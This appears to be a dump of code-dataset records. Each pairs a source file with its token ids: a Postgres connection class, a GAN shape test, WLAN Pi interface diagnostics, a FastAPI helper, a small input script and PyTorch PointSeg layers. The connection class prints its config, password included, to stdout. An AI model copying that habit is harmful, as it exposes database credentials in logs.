29888,
29941,
29888,
29900,
29945,
29890,
29941,
29953,
29872,
29947,
29915,
13,
13,
9818,
29918,
22240,
3919,
29903,
353,
518,
22240,
3919,
29918,
26813,
20322,
1001,
29892,
382,
29963,
3919,
29918,
4986,
29968,
1430,
29918,
29925,
4574,
3210,
8127,
29892,
382,
29963,
3919,
29918,
2544,
29950,
29918,
29925,
4574,
3210,
8127,
29892,
382,
29963,
3919,
29918,
17744,
29918,
5265,
29984,
11150,
11937,
29892,
382,
29963,
3919,
29918,
1525,
6720,
12064,
29918,
5265,
29984,
11150,
11937,
29962,
13,
13,
24065,
3267,
29918,
14849,
3580,
353,
525,
7192,
359,
29889,
15070,
29915,
13,
13,
4375,
1254,
29918,
29933,
21339,
29918,
14849,
3580,
353,
525,
4230,
29918,
1271,
29889,
15070,
29915,
13,
13,
14345,
3301,
29950,
2239,
29918,
3927,
10749,
29918,
13356,
24422,
353,
14550,
13,
6224,
13,
1678,
10748,
29898,
4572,
29901,
8620,
3166,
7445,
29901,
426,
3166,
7445,
1118,
304,
7445,
29901,
426,
517,
7445,
1118,
14157,
29901,
426,
7328,
267,
1118,
23820,
29901,
426,
3332,
1199,
930,
1800,
8620,
13,
1678,
848,
23820,
10804,
8620,
2908,
8620,
1353,
9156,
9156,
13,
1678,
9156,
13,
930,
12008,
13,
13,
14345,
3301,
29950,
2239,
29918,
1430,
11191,
6992,
29911,
353,
525,
1124,
597,
7640,
29901,
29947,
29945,
29946,
29955,
29914,
4262,
1519,
29915,
13,
2
] |
restapi/src/DB/DBConnection.py | RaymanRJ/rrjamal.ca | 0 | 125769 | from typing import Dict
import psycopg2
from DBConfig import db_config
class DBConnection:
__config: Dict[str, str]
__conn: psycopg2
def __init__(self):
self.__config = db_config
print(self.__config)
self.__conn = psycopg2.connect(
host=self.__config['host'],
database=self.__config['database'],
user=self.__config['user'],
password=self.__config['pass']
)
@property
def connection(self) -> psycopg2:
return self.__conn
@property
def cursor(self) -> psycopg2:
return self.__conn.cursor()
| [
1,
515,
19229,
1053,
360,
919,
13,
13,
5215,
6529,
29891,
9708,
29887,
29906,
13,
3166,
6535,
3991,
1053,
4833,
29918,
2917,
13,
13,
13,
1990,
6535,
5350,
29901,
13,
1678,
4770,
2917,
29901,
360,
919,
29961,
710,
29892,
851,
29962,
13,
1678,
4770,
13082,
29901,
6529,
29891,
9708,
29887,
29906,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
17255,
2917,
353,
4833,
29918,
2917,
13,
4706,
1596,
29898,
1311,
17255,
2917,
29897,
13,
4706,
1583,
17255,
13082,
353,
6529,
29891,
9708,
29887,
29906,
29889,
6915,
29898,
13,
9651,
3495,
29922,
1311,
17255,
2917,
1839,
3069,
7464,
13,
9651,
2566,
29922,
1311,
17255,
2917,
1839,
9803,
7464,
13,
9651,
1404,
29922,
1311,
17255,
2917,
1839,
1792,
7464,
13,
9651,
4800,
29922,
1311,
17255,
2917,
1839,
3364,
2033,
13,
4706,
1723,
13,
13,
1678,
732,
6799,
13,
1678,
822,
3957,
29898,
1311,
29897,
1599,
6529,
29891,
9708,
29887,
29906,
29901,
13,
4706,
736,
1583,
17255,
13082,
13,
13,
1678,
732,
6799,
13,
1678,
822,
10677,
29898,
1311,
29897,
1599,
6529,
29891,
9708,
29887,
29906,
29901,
13,
4706,
736,
1583,
17255,
13082,
29889,
18127,
580,
13,
2
] |
tests/simple_gan_test.py | alanpeixinho/NiftyNet | 0 | 7251 | from __future__ import absolute_import, print_function
import unittest
import os
import tensorflow as tf
from tensorflow.keras import regularizers
from niftynet.network.simple_gan import SimpleGAN
from tests.niftynet_testcase import NiftyNetTestCase
class SimpleGANTest(NiftyNetTestCase):
def test_3d_reg_shape(self):
input_shape = (2, 32, 32, 32, 1)
noise_shape = (2, 512)
x = tf.ones(input_shape)
r = tf.ones(noise_shape)
simple_gan_instance = SimpleGAN()
out = simple_gan_instance(r, x, is_training=True)
with self.cached_session() as sess:
sess.run(tf.compat.v1.global_variables_initializer())
out = sess.run(out)
self.assertAllClose(input_shape, out[0].shape)
self.assertAllClose((2, 1), out[1].shape)
self.assertAllClose((2, 1), out[2].shape)
def test_2d_reg_shape(self):
input_shape = (2, 64, 64, 1)
noise_shape = (2, 512)
x = tf.ones(input_shape)
r = tf.ones(noise_shape)
simple_gan_instance = SimpleGAN()
out = simple_gan_instance(r, x, is_training=True)
with self.cached_session() as sess:
sess.run(tf.compat.v1.global_variables_initializer())
out = sess.run(out)
self.assertAllClose(input_shape, out[0].shape)
self.assertAllClose((2, 1), out[1].shape)
self.assertAllClose((2, 1), out[2].shape)
if __name__ == "__main__":
tf.test.main()
| [
1,
515,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
29892,
1596,
29918,
2220,
13,
13,
5215,
443,
27958,
13,
13,
5215,
2897,
13,
5215,
26110,
408,
15886,
13,
3166,
26110,
29889,
3946,
294,
1053,
4943,
19427,
13,
13,
3166,
302,
2027,
948,
300,
29889,
11618,
29889,
12857,
29918,
6249,
1053,
12545,
29954,
2190,
13,
3166,
6987,
29889,
29876,
2027,
948,
300,
29918,
1688,
4878,
1053,
405,
361,
1017,
6779,
3057,
8259,
13,
13,
1990,
12545,
29954,
2190,
3057,
29898,
29940,
361,
1017,
6779,
3057,
8259,
1125,
13,
1678,
822,
1243,
29918,
29941,
29881,
29918,
1727,
29918,
12181,
29898,
1311,
1125,
13,
4706,
1881,
29918,
12181,
353,
313,
29906,
29892,
29871,
29941,
29906,
29892,
29871,
29941,
29906,
29892,
29871,
29941,
29906,
29892,
29871,
29896,
29897,
13,
4706,
11462,
29918,
12181,
353,
313,
29906,
29892,
29871,
29945,
29896,
29906,
29897,
13,
4706,
921,
353,
15886,
29889,
2873,
29898,
2080,
29918,
12181,
29897,
13,
4706,
364,
353,
15886,
29889,
2873,
29898,
1217,
895,
29918,
12181,
29897,
13,
13,
4706,
2560,
29918,
6249,
29918,
8758,
353,
12545,
29954,
2190,
580,
13,
4706,
714,
353,
2560,
29918,
6249,
29918,
8758,
29898,
29878,
29892,
921,
29892,
338,
29918,
26495,
29922,
5574,
29897,
13,
13,
4706,
411,
1583,
29889,
29883,
3791,
29918,
7924,
580,
408,
27937,
29901,
13,
9651,
27937,
29889,
3389,
29898,
13264,
29889,
12667,
29889,
29894,
29896,
29889,
10945,
29918,
20897,
29918,
11228,
3950,
3101,
13,
9651,
714,
353,
27937,
29889,
3389,
29898,
449,
29897,
13,
9651,
1583,
29889,
9294,
3596,
11123,
29898,
2080,
29918,
12181,
29892,
714,
29961,
29900,
1822,
12181,
29897,
13,
9651,
1583,
29889,
9294,
3596,
11123,
3552,
29906,
29892,
29871,
29896,
511,
714,
29961,
29896,
1822,
12181,
29897,
13,
9651,
1583,
29889,
9294,
3596,
11123,
3552,
29906,
29892,
29871,
29896,
511,
714,
29961,
29906,
1822,
12181,
29897,
13,
13,
1678,
822,
1243,
29918,
29906,
29881,
29918,
1727,
29918,
12181,
29898,
1311,
1125,
13,
4706,
1881,
29918,
12181,
353,
313,
29906,
29892,
29871,
29953,
29946,
29892,
29871,
29953,
29946,
29892,
29871,
29896,
29897,
13,
4706,
11462,
29918,
12181,
353,
313,
29906,
29892,
29871,
29945,
29896,
29906,
29897,
13,
4706,
921,
353,
15886,
29889,
2873,
29898,
2080,
29918,
12181,
29897,
13,
4706,
364,
353,
15886,
29889,
2873,
29898,
1217,
895,
29918,
12181,
29897,
13,
13,
4706,
2560,
29918,
6249,
29918,
8758,
353,
12545,
29954,
2190,
580,
13,
4706,
714,
353,
2560,
29918,
6249,
29918,
8758,
29898,
29878,
29892,
921,
29892,
338,
29918,
26495,
29922,
5574,
29897,
13,
13,
4706,
411,
1583,
29889,
29883,
3791,
29918,
7924,
580,
408,
27937,
29901,
13,
9651,
27937,
29889,
3389,
29898,
13264,
29889,
12667,
29889,
29894,
29896,
29889,
10945,
29918,
20897,
29918,
11228,
3950,
3101,
13,
9651,
714,
353,
27937,
29889,
3389,
29898,
449,
29897,
13,
9651,
1583,
29889,
9294,
3596,
11123,
29898,
2080,
29918,
12181,
29892,
714,
29961,
29900,
1822,
12181,
29897,
13,
9651,
1583,
29889,
9294,
3596,
11123,
3552,
29906,
29892,
29871,
29896,
511,
714,
29961,
29896,
1822,
12181,
29897,
13,
9651,
1583,
29889,
9294,
3596,
11123,
3552,
29906,
29892,
29871,
29896,
511,
714,
29961,
29906,
1822,
12181,
29897,
13,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
15886,
29889,
1688,
29889,
3396,
580,
13,
2
] |
wlanpi_core/services/diagnostics_service.py | WLAN-Pi/wlanpi-core | 1 | 51208 | from shutil import which
from typing import Optional
from wlanpi_core.models.validation_error import ValidationError
from .helpers import get_phy80211_interfaces, run_cli_async
async def executable_exists(name: str) -> bool:
"""
Check whether `name` is on PATH and marked as executable.
"""
return which(name) is not None
async def test_wifi_interface(interface: str) -> dict:
test = {}
test["name"] = interface
test["mac"] = (
await run_cli_async(f"cat /sys/class/net/{interface}/address")
).strip()
test["driver"] = (
(await run_cli_async(f"readlink -f /sys/class/net/{interface}/device/driver"))
.strip()
.rsplit("/", 1)[1]
)
"""
https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-class-net
What: /sys/class/net/<iface>/operstate
Date: March 2006
KernelVersion: 2.6.17
Contact: <EMAIL>
Description:
Indicates the interface RFC2863 operational state as a string.
Possible values are:
"unknown", "notpresent", "down", "lowerlayerdown", "testing",
"dormant", "up".
"""
operstate = await run_cli_async(f"cat /sys/class/net/{interface}/operstate")
test["operstate"] = operstate.strip()
_type = await run_cli_async(f"cat /sys/class/net/{interface}/type")
_type = int(_type)
if _type == 1:
test["mode"] = "managed"
elif _type == 801:
test["mode"] = "monitor"
elif _type == 802:
test["mode"] = "monitor"
elif (
_type == 803
): # https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/if_arp.h#L90
test["mode"] = "monitor"
else:
test["mode"] = "unknown"
return test
async def get_diagnostics():
"""
Return diagnostic tests for probe
"""
diag = {}
regdomain = await run_cli_async("iw reg get")
diag["regdomain"] = [line for line in regdomain.split("\n") if "country" in line]
executable = {}
tcpdump_exists = await executable_exists("tcpdump")
executable["tcpdump"] = tcpdump_exists
iw_exists = await executable_exists("iw")
executable["iw"] = iw_exists
ip_exists = await executable_exists("ip")
executable["ip"] = ip_exists
ifconfig_exists = await executable_exists("ifconfig")
executable["ifconfig"] = ifconfig_exists
airmonng_exists = await executable_exists("airmon-ng")
executable["airmon-ng"] = airmonng_exists
# add executable tests to diag
diag["tools"] = executable
tool_versions = {}
if tcpdump_exists:
tool_versions["tcpdump"] = await run_cli_async(
"tcpdump --version", want_stderr=True
)
else:
tool_versions["tcpdump"] = "unknown"
if iw_exists:
tool_versions["iw"] = await run_cli_async("iw --version")
else:
tool_versions["iw"] = "unknown"
if ip_exists:
tool_versions["ip"] = await run_cli_async("ip -V")
else:
tool_versions["ip"] = "unknown"
if ifconfig_exists:
tool_versions["ifconfig"] = await run_cli_async("ifconfig --version")
else:
tool_versions["ifconfig"] = "unknown"
# add version tests to diag
diag["versions"] = tool_versions
return diag
async def get_interface_diagnostics(interface: Optional[str] = None):
interfaces = get_phy80211_interfaces()
results = {}
if interface:
if interface not in interfaces:
raise ValidationError(
status_code=400, error_msg=f"wlan interface {interface} not found"
)
results["interfaces"] = [await test_wifi_interface(interface)]
return results
else:
ifaces = []
for interface in interfaces:
ifaces.append(await test_wifi_interface(interface))
results["interfaces"] = ifaces
return results
| [
1,
515,
528,
4422,
1053,
607,
13,
3166,
19229,
1053,
28379,
13,
13,
3166,
281,
6468,
1631,
29918,
3221,
29889,
9794,
29889,
18157,
29918,
2704,
1053,
15758,
362,
2392,
13,
13,
3166,
869,
3952,
6774,
1053,
679,
29918,
11461,
29947,
29900,
29906,
29896,
29896,
29918,
1639,
8726,
29892,
1065,
29918,
11303,
29918,
12674,
13,
13,
13,
12674,
822,
16813,
29918,
9933,
29898,
978,
29901,
851,
29897,
1599,
6120,
29901,
13,
1678,
9995,
13,
1678,
5399,
3692,
421,
978,
29952,
338,
373,
23611,
322,
10902,
408,
16813,
29889,
13,
1678,
9995,
13,
1678,
736,
607,
29898,
978,
29897,
338,
451,
6213,
13,
13,
13,
12674,
822,
1243,
29918,
29893,
6832,
29918,
13248,
29898,
13248,
29901,
851,
29897,
1599,
9657,
29901,
13,
1678,
1243,
353,
6571,
13,
1678,
1243,
3366,
978,
3108,
353,
5067,
13,
13,
1678,
1243,
3366,
8628,
3108,
353,
313,
13,
4706,
7272,
1065,
29918,
11303,
29918,
12674,
29898,
29888,
29908,
4117,
847,
9675,
29914,
1990,
29914,
1212,
19248,
13248,
6822,
7328,
1159,
13,
1678,
13742,
17010,
580,
13,
13,
1678,
1243,
3366,
9465,
3108,
353,
313,
13,
4706,
313,
20675,
1065,
29918,
11303,
29918,
12674,
29898,
29888,
29908,
949,
2324,
448,
29888,
847,
9675,
29914,
1990,
29914,
1212,
19248,
13248,
6822,
10141,
29914,
9465,
5783,
13,
4706,
869,
17010,
580,
13,
4706,
869,
2288,
2830,
11974,
613,
29871,
29896,
9601,
29896,
29962,
13,
1678,
1723,
13,
13,
1678,
9995,
13,
991,
597,
1636,
29889,
17460,
29889,
990,
29914,
1514,
29914,
6268,
362,
29914,
2882,
29902,
29914,
13424,
29914,
9675,
5847,
29899,
1990,
29899,
1212,
13,
13,
5618,
29901,
12,
12,
29914,
9675,
29914,
1990,
29914,
1212,
29914,
29966,
361,
815,
20690,
3372,
3859,
13,
2539,
29901,
12,
12,
29924,
1279,
29871,
29906,
29900,
29900,
29953,
13,
29968,
5851,
6594,
29901,
12,
29906,
29889,
29953,
29889,
29896,
29955,
13,
13443,
29901,
12,
29966,
26862,
6227,
29958,
13,
9868,
29901,
13,
12,
12,
2568,
293,
1078,
278,
5067,
390,
8610,
29906,
29947,
29953,
29941,
1751,
1288,
2106,
408,
263,
1347,
29889,
13,
13,
12,
12,
9135,
1687,
1819,
526,
29901,
13,
13,
12,
12,
29908,
26690,
613,
376,
1333,
6338,
613,
376,
3204,
613,
376,
13609,
8387,
2018,
776,
613,
376,
13424,
613,
13,
12,
12,
29908,
29881,
555,
424,
613,
376,
786,
1642,
13,
1678,
9995,
13,
1678,
1751,
3859,
353,
7272,
1065,
29918,
11303,
29918,
12674,
29898,
29888,
29908,
4117,
847,
9675,
29914,
1990,
29914,
1212,
19248,
13248,
6822,
3372,
3859,
1159,
13,
1678,
1243,
3366,
3372,
3859,
3108,
353,
1751,
3859,
29889,
17010,
580,
13,
13,
1678,
903,
1853,
353,
7272,
1065,
29918,
11303,
29918,
12674,
29898,
29888,
29908,
4117,
847,
9675,
29914,
1990,
29914,
1212,
19248,
13248,
6822,
1853,
1159,
13,
13,
1678,
903,
1853,
353,
938,
7373,
1853,
29897,
13,
1678,
565,
903,
1853,
1275,
29871,
29896,
29901,
13,
4706,
1243,
3366,
8513,
3108,
353,
376,
25240,
29908,
13,
1678,
25342,
903,
1853,
1275,
29871,
29947,
29900,
29896,
29901,
13,
4706,
1243,
3366,
8513,
3108,
353,
376,
3712,
2105,
29908,
13,
1678,
25342,
903,
1853,
1275,
29871,
29947,
29900,
29906,
29901,
13,
4706,
1243,
3366,
8513,
3108,
353,
376,
3712,
2105,
29908,
13,
1678,
25342,
313,
13,
4706,
903,
1853,
1275,
29871,
29947,
29900,
29941,
13,
268,
1125,
29871,
396,
2045,
597,
295,
861,
381,
29889,
4777,
1915,
29889,
510,
29914,
9389,
29914,
12333,
29914,
4993,
29914,
2856,
29914,
29884,
2754,
29914,
9389,
29914,
361,
29918,
6834,
29889,
29882,
29937,
29931,
29929,
29900,
13,
4706,
1243,
3366,
8513,
3108,
353,
376,
3712,
2105,
29908,
13,
1678,
1683,
29901,
13,
4706,
1243,
3366,
8513,
3108,
353,
376,
26690,
29908,
13,
13,
1678,
736,
1243,
13,
13,
13,
12674,
822,
679,
29918,
6051,
20921,
7295,
13,
1678,
9995,
13,
1678,
7106,
652,
21780,
6987,
363,
410,
915,
13,
1678,
9995,
13,
1678,
7936,
353,
6571,
13,
13,
1678,
1072,
7247,
353,
7272,
1065,
29918,
11303,
29918,
12674,
703,
9429,
1072,
679,
1159,
13,
13,
1678,
7936,
3366,
1727,
7247,
3108,
353,
518,
1220,
363,
1196,
297,
1072,
7247,
29889,
5451,
14182,
29876,
1159,
565,
376,
13509,
29908,
297,
1196,
29962,
13,
13,
1678,
16813,
353,
6571,
13,
1678,
22729,
15070,
29918,
9933,
353,
7272,
16813,
29918,
9933,
703,
23981,
15070,
1159,
13,
1678,
16813,
3366,
23981,
15070,
3108,
353,
22729,
15070,
29918,
9933,
13,
1678,
474,
29893,
29918,
9933,
353,
7272,
16813,
29918,
9933,
703,
9429,
1159,
13,
1678,
16813,
3366,
9429,
3108,
353,
474,
29893,
29918,
9933,
13,
1678,
10377,
29918,
9933,
353,
7272,
16813,
29918,
9933,
703,
666,
1159,
13,
1678,
16813,
3366,
666,
3108,
353,
10377,
29918,
9933,
13,
1678,
565,
2917,
29918,
9933,
353,
7272,
16813,
29918,
9933,
703,
361,
2917,
1159,
13,
1678,
16813,
3366,
361,
2917,
3108,
353,
565,
2917,
29918,
9933,
13,
1678,
263,
3568,
265,
865,
29918,
9933,
353,
7272,
16813,
29918,
9933,
703,
1466,
3712,
29899,
865,
1159,
13,
1678,
16813,
3366,
1466,
3712,
29899,
865,
3108,
353,
263,
3568,
265,
865,
29918,
9933,
13,
13,
1678,
396,
788,
16813,
6987,
304,
7936,
13,
1678,
7936,
3366,
8504,
3108,
353,
16813,
13,
13,
1678,
5780,
29918,
26100,
353,
6571,
13,
1678,
565,
22729,
15070,
29918,
9933,
29901,
13,
4706,
5780,
29918,
26100,
3366,
23981,
15070,
3108,
353,
7272,
1065,
29918,
11303,
29918,
12674,
29898,
13,
9651,
376,
23981,
15070,
1192,
3259,
613,
864,
29918,
303,
20405,
29922,
5574,
13,
4706,
1723,
13,
1678,
1683,
29901,
13,
4706,
5780,
29918,
26100,
3366,
23981,
15070,
3108,
353,
376,
26690,
29908,
13,
13,
1678,
565,
474,
29893,
29918,
9933,
29901,
13,
4706,
5780,
29918,
26100,
3366,
9429,
3108,
353,
7272,
1065,
29918,
11303,
29918,
12674,
703,
9429,
1192,
3259,
1159,
13,
1678,
1683,
29901,
13,
4706,
5780,
29918,
26100,
3366,
9429,
3108,
353,
376,
26690,
29908,
13,
13,
1678,
565,
10377,
29918,
9933,
29901,
13,
4706,
5780,
29918,
26100,
3366,
666,
3108,
353,
7272,
1065,
29918,
11303,
29918,
12674,
703,
666,
448,
29963,
1159,
13,
1678,
1683,
29901,
13,
4706,
5780,
29918,
26100,
3366,
666,
3108,
353,
376,
26690,
29908,
13,
13,
1678,
565,
565,
2917,
29918,
9933,
29901,
13,
4706,
5780,
29918,
26100,
3366,
361,
2917,
3108,
353,
7272,
1065,
29918,
11303,
29918,
12674,
703,
361,
2917,
1192,
3259,
1159,
13,
1678,
1683,
29901,
13,
4706,
5780,
29918,
26100,
3366,
361,
2917,
3108,
353,
376,
26690,
29908,
13,
13,
1678,
396,
788,
1873,
6987,
304,
7936,
13,
1678,
7936,
3366,
26100,
3108,
353,
5780,
29918,
26100,
13,
13,
1678,
736,
7936,
13,
13,
13,
12674,
822,
679,
29918,
13248,
29918,
6051,
20921,
29898,
13248,
29901,
28379,
29961,
710,
29962,
353,
6213,
1125,
13,
1678,
19510,
353,
679,
29918,
11461,
29947,
29900,
29906,
29896,
29896,
29918,
1639,
8726,
580,
13,
1678,
2582,
353,
6571,
13,
1678,
565,
5067,
29901,
13,
4706,
565,
5067,
451,
297,
19510,
29901,
13,
9651,
12020,
15758,
362,
2392,
29898,
13,
18884,
4660,
29918,
401,
29922,
29946,
29900,
29900,
29892,
1059,
29918,
7645,
29922,
29888,
29908,
29893,
6468,
5067,
426,
13248,
29913,
451,
1476,
29908,
13,
9651,
1723,
13,
4706,
2582,
3366,
1639,
8726,
3108,
353,
518,
20675,
1243,
29918,
29893,
6832,
29918,
13248,
29898,
13248,
4638,
13,
4706,
736,
2582,
13,
1678,
1683,
29901,
13,
4706,
565,
3302,
353,
5159,
13,
4706,
363,
5067,
297,
19510,
29901,
13,
9651,
565,
3302,
29889,
4397,
29898,
20675,
1243,
29918,
29893,
6832,
29918,
13248,
29898,
13248,
876,
13,
4706,
2582,
3366,
1639,
8726,
3108,
353,
565,
3302,
13,
4706,
736,
2582,
13,
2
] |
fastapi_crudrouter/core/utils.py | agallant/fastapi-crudrouter | 0 | 147876 | <filename>fastapi_crudrouter/core/utils.py
def get_pk_type(schema, pk_field) -> type:
try:
return schema.__fields__[pk_field].type_
except KeyError:
return int
| [
1,
529,
9507,
29958,
11255,
2754,
29918,
7283,
566,
15140,
29914,
3221,
29914,
13239,
29889,
2272,
13,
1753,
679,
29918,
20571,
29918,
1853,
29898,
11010,
29892,
282,
29895,
29918,
2671,
29897,
1599,
1134,
29901,
13,
1678,
1018,
29901,
13,
4706,
736,
10938,
17255,
9621,
1649,
29961,
20571,
29918,
2671,
1822,
1853,
29918,
13,
1678,
5174,
7670,
2392,
29901,
13,
4706,
736,
938,
13,
2
] |
Task2/03_personal-info.py | telecomprofi/Cisco-DevOps-MDP-02 | 0 | 88415 | #03_personal-info.py
space= " "
firstName = input("What is your first name?")
lastName = input("What is your last name?")
location = input("What is your location?")
age = input("What is your age?")
print("Hi "+ firstName + space + lastName +"! Your location is "+ location + " and you are "+age + " years old!")
| [
1,
396,
29900,
29941,
29918,
10532,
284,
29899,
3888,
29889,
2272,
13,
3493,
29922,
376,
376,
13,
4102,
1170,
353,
1881,
703,
5618,
338,
596,
937,
1024,
29973,
1159,
13,
4230,
1170,
353,
1881,
703,
5618,
338,
596,
1833,
1024,
29973,
1159,
13,
5479,
353,
1881,
703,
5618,
338,
596,
4423,
29973,
1159,
13,
482,
353,
1881,
703,
5618,
338,
596,
5046,
29973,
1159,
13,
2158,
703,
18567,
15691,
937,
1170,
718,
2913,
718,
1833,
1170,
718,
29908,
29991,
3575,
4423,
338,
15691,
4423,
718,
376,
322,
366,
526,
15691,
482,
718,
376,
2440,
2030,
29991,
1159,
13,
2
] |
deeplio/models/nets/pointseg_modules.py | rginjapan/DeepLIO | 43 | 155138 | <gh_stars>10-100
import torch
import torch.nn as nn
import torch.nn.functional as F
class ASPPConv(nn.Sequential):
def __init__(self, in_channels, out_channels, dilation):
modules = [
nn.Conv2d(in_channels, out_channels, 3, padding=dilation, dilation=dilation, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU()
]
super(ASPPConv, self).__init__(*modules)
class ASPPPooling(nn.Sequential):
def __init__(self, in_channels, out_channels):
super(ASPPPooling, self).__init__(
nn.AdaptiveAvgPool2d(1),
nn.Conv2d(in_channels, out_channels, 1, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU())
def forward(self, x):
size = x.shape[-2:]
for mod in self:
x = mod(x)
return F.interpolate(x, size=size, mode='bilinear', align_corners=False)
class ASPP(nn.Module):
def __init__(self, in_channels, atrous_rates, out_channels=128):
super(ASPP, self).__init__()
modules = []
modules.append(nn.Sequential(
nn.Conv2d(in_channels, out_channels, 1, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU()))
rates = tuple(atrous_rates)
for rate in rates:
modules.append(ASPPConv(in_channels, out_channels, rate))
modules.append(ASPPPooling(in_channels, out_channels))
self.convs = nn.ModuleList(modules)
self.project = nn.Sequential(
nn.Conv2d(5 * out_channels, out_channels, 1, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU(),
nn.Dropout(0.25))
def forward(self, x):
res = []
for conv in self.convs:
res.append(conv(x))
res = torch.cat(res, dim=1)
return self.project(res)
class BaseBlk(nn.Module):
def __init__(self, init='kaiming'):
super(BaseBlk, self).__init__()
self.init = init
self.reset_parameters()
def reset_parameters(self):
for module in self.modules():
if isinstance(module, nn.Conv2d) or isinstance(module, nn.ConvTranspose2d):
self.init_module(module)
def init_module(self, module):
# Pytorch does kaiming initialiaztion at the moment, so do not need to inititliaze again.
if 'kaiming' in self.init:
return
init_method = init_methods[self.init]
if self.init == "bilinear" and isinstance(module, nn.ConvTranspose2d):
init_method(module.weight)
if module.bias is not None:
torch.nn.init.zeros_(module.bias)
class Fire(BaseBlk):
def __init__(self, inplanes, squeeze_planes,
expand1x1_planes, expand3x3_planes, bn=True, bn_d=0.1, init='kaiming', bypass=None):
super(Fire, self).__init__(init)
self.inplanes = inplanes
self.bypass = bypass
self.bn = bn
self.activation = nn.ReLU(inplace=False)
self.squeeze = nn.Conv2d(inplanes, squeeze_planes, kernel_size=1)
if self.bn:
self.squeeze_bn = nn.BatchNorm2d(squeeze_planes, momentum=bn_d)
self.expand1x1 = nn.Conv2d(squeeze_planes, expand1x1_planes, kernel_size=1)
if self.bn:
self.expand1x1_bn = nn.BatchNorm2d(expand1x1_planes, momentum=bn_d)
self.expand3x3 = nn.Conv2d(squeeze_planes, expand3x3_planes, kernel_size=3, padding=1)
if self.bn:
self.expand3x3_bn = nn.BatchNorm2d(expand3x3_planes, momentum=bn_d)
outplanes = expand1x1_planes + expand3x3_planes
self.need_upsample = inplanes != outplanes
if (self.bypass is not None) and (self.bypass == "complex") and self.need_upsample:
self.upsample = nn.Conv2d(inplanes, outplanes, kernel_size=1)
self.reset_parameters()
def forward(self, x):
identity = x
x = self.squeeze(x)
if self.bn:
x = self.squeeze_bn(x)
x = self.activation(x)
x_1x1 = self.expand1x1(x)
if self.bn:
x_1x1 = self.expand1x1_bn(x_1x1)
x_1x1 = self.activation(x_1x1)
x_3x3 = self.expand3x3(x)
if self.bn:
x_3x3 = self.expand3x3_bn(x_3x3)
x_3x3 = self.activation(x_3x3)
out = torch.cat([x_1x1, x_3x3], 1)
if self.bypass is not None:
if self.bypass == "complex" and self.need_upsample:
identity = self.upsample(identity)
out += identity
elif self.bypass == "simple" and not self.need_upsample:
out += identity
#out = F.elu(out, inplace=True)
return out
class FireDeconv(BaseBlk):
"""Fire deconvolution layer constructor.
Args:
inputs: input channels
squeeze_planes: number of 1x1 filters in squeeze layer.
expand1x1_planes: number of 1x1 filters in expand layer.
expand3x3_planes: number of 3x3 filters in expand layer.
stride: spatial upsampling factors.[1,2]
Returns:
fire deconv layer operation.
"""
def __init__(self, inplanes, squeeze_planes, expand1x1_planes, expand3x3_planes,
stride=(1, 2), padding=(0, 1), bn=True, bn_d=0.1, init='kaiming'):
super(FireDeconv, self).__init__(init)
self.bn = bn
self.activation = nn.ReLU(inplace=True)
self.squeeze = nn.Conv2d(inplanes, squeeze_planes, kernel_size=1)
if self.bn:
self.squeeze_bn = nn.BatchNorm2d(squeeze_planes, momentum=bn_d)
# upsampling
self.squeeze_deconv = nn.ConvTranspose2d(squeeze_planes, squeeze_planes,
kernel_size=(1, 4),
stride=stride, padding=padding)
self.expand1x1 = nn.Conv2d(squeeze_planes, expand1x1_planes, kernel_size=1)
if self.bn:
self.expand1x1_bn = nn.BatchNorm2d(expand1x1_planes, momentum=bn_d)
self.expand3x3 = nn.Conv2d(squeeze_planes, expand3x3_planes, kernel_size=3, padding=1)
if self.bn:
self.expand3x3_bn = nn.BatchNorm2d(expand3x3_planes, momentum=bn_d)
self.reset_parameters()
def forward(self, x):
x = self.squeeze(x)
if self.bn:
x = self.squeeze_bn(x)
x = self.activation(x)
x = self.activation(self.squeeze_deconv(x))
x_1x1 = self.expand1x1(x)
if self.bn:
x_1x1 = self.expand1x1_bn(x_1x1)
x_1x1 = self.activation(x_1x1)
x_3x3 = self.expand3x3(x)
if self.bn:
x_3x3 = self.expand3x3_bn(x_3x3)
x_3x3 = self.activation(x_3x3)
out = torch.cat([x_1x1, x_3x3], 1)
return out
class SELayer(nn.Module):
"""Squeeze and Excitation layer from SEnet
"""
def __init__(self, in_features, reduction=16):
super(SELayer, self).__init__()
self.avg_pool = nn.AdaptiveAvgPool2d(1)
self.fc = nn.Sequential(
nn.Linear(in_features, in_features // reduction, bias=False),
nn.ReLU(inplace=True),
nn.Linear(in_features // reduction, in_features, bias=False),
nn.Sigmoid()
)
def forward(self, x):
b, c, _, _ = x.size()
y = self.avg_pool(x).view(b, c)
y = self.fc(y).view(b, c, 1, 1)
x_scaled = x * y.expand_as(x)
return x_scaled
def init_bilinear(tensor):
"""Reset the weight and bias."""
nn.init.constant_(tensor, 0)
in_feat, out_feat, h, w = tensor.shape
assert h == 1, 'Now only support size_h=1'
assert in_feat == out_feat, \
'In bilinear interporlation mode, input channel size and output' \
'filter size should be the same'
factor_w = (w + 1) // 2
if w % 2 == 1:
center_w = factor_w - 1
else:
center_w = factor_w - 0.5
og_w = torch.reshape(torch.arange(w), (h, -1))
up_kernel = (1 - torch.abs(og_w - center_w) / factor_w)
for c in range(in_feat):
tensor.data[c, c, :, :] = up_kernel
init_methods = {
'xavier-normal': nn.init.xavier_normal_,
'xavier-uniform': nn.init.xavier_uniform_,
'kaiming': nn.init.kaiming_normal_,
'bilinear': init_bilinear,
} | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
5215,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
5215,
4842,
305,
29889,
15755,
29889,
2220,
284,
408,
383,
13,
13,
13,
1990,
12738,
29925,
1168,
29894,
29898,
15755,
29889,
16941,
2556,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
270,
8634,
1125,
13,
4706,
10585,
353,
518,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
262,
